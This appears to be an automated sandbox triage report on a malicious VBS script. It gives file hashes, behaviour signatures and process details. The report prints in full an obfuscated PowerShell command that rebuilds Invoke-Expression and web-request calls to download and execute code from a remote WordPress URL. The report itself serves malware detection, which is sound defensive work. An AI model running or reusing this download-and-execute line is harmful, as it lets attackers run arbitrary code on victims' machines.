b8d6861bb63f0e06525c4d45e79e6c116c49267877174cb987a139260dec81e3 | Triage

Analysis

max time kernel
41s
max time network
44s
platform
windows7_x64
resource
win7-20220414-en
submitted
28-04-2022 21:21

Sharing

Report Analysis Logs

General

Target

1547744O.vbs
Size

2KB
MD5

1c710652be2571bdff62812e8105eadf
SHA1

8c6fede5ef62aa987050891d380eb66c62b23434
SHA256

b8d6861bb63f0e06525c4d45e79e6c116c49267877174cb987a139260dec81e3
SHA512

b807da2d08caf07766214e08668a40595f1ee67a9f2ebea762e6bb24f12ce55b0f97b704139ed6ed36f0deb88efb142324d687cd74c4c70728c8df2b43cd14f2

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powErshEll.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1888	2044	powErshEll.exe

Drops file in System32 directory 1 IoCs

Processes:

powErshEll.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powErshEll.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powErshEll.exe

pid process

1888 powErshEll.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powErshEll.exe

description pid process

Token: SeDebugPrivilege 1888 powErshEll.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1547744O.vbs"
1⤵
PID:784

C:\Windows\System32\WindowsPowerShell\v1.0\powErshEll.exe
powErshEll $KJQYBYJURIJCHZRYCQOKKP = '[S29\}=01&+<)*[+6\)/=)20EM.I+]7^!1))%\}&73=\*[5165MREAdER]'.Replace('29\}=01&+<)*[+6\)/=)20','ySt').Replace('+]7^!1))%\}&73=\*[5165','O.StREA');$NEWAVHZOANZLFOQALLNABI = ($KJQYBYJURIJCHZRYCQOKKP -Join '')| .('{1}{0}'-f'EX','I');$OIOIZWIYWJBWHVTYIBJXHH = '[SyS*19<9[0}$+6$@1)^$1/!\2T.W<!}-#^+0(<9$]%#032}0_]ST]'.Replace('*19<9[0}$+6$@1)^$1/!\2','TEm.NE').Replace('<!}-#^+0(<9$]%#032}0_]','EbREquE');$WRTXTEFBKALSZALGZSQJVU = ($OIOIZWIYWJBWHVTYIBJXHH -Join '')| .('{1}{0}'-f'EX','I');$KHXRGTRQURAZYTRBVTFRWY = 'Cr4+)%9%)27-=#[1\!97}+7{TE'.Replace('4+)%9%)27-=#[1\!97}+7{','Ea');$FXELZSTZZQDXSFQQHLXLKI = 'GE&]\_&!0!=1+10)]$/<%*4*onSE'.Replace('&]\_&!0!=1+10)]$/<%*4*','tRESp');$BNHYKXZXVZTYBNQTLLCKOA = 'GE!-(]3[8-\6<75{63-0/(0<REam'.Replace('!-(]3[8-\6<75{63-0/(0<','tRESponSESt');$RLJHBCDYIDAOCRVGUONBRC = 'RE%+#{211{1]784*6)&&)<1+nD'.Replace('%+#{211{1]784*6)&&)<1+','aDToE'); .('{1}{0}'-f'EX','I')($NEWAVHZOANZLFOQALLNABI::new($WRTXTEFBKALSZALGZSQJVU::$KHXRGTRQURAZYTRBVTFRWY('https://burgermurger.com/wp-content/Ss.txt').$FXELZSTZZQDXSFQQHLXLKI().$BNHYKXZXVZTYBNQTLLCKOA()).$RLJHBCDYIDAOCRVGUONBRC())
1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1888

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1888-54-0x000007FEFC061000-0x000007FEFC063000-memory.dmp

Filesize
8KB

Download
memory/1888-55-0x000007FEF3A80000-0x000007FEF45DD000-memory.dmp

Filesize
11.4MB

Download
memory/1888-56-0x0000000002774000-0x0000000002777000-memory.dmp

Filesize
12KB

Download
memory/1888-57-0x000000000277B000-0x000000000279A000-memory.dmp

Filesize
124KB

Download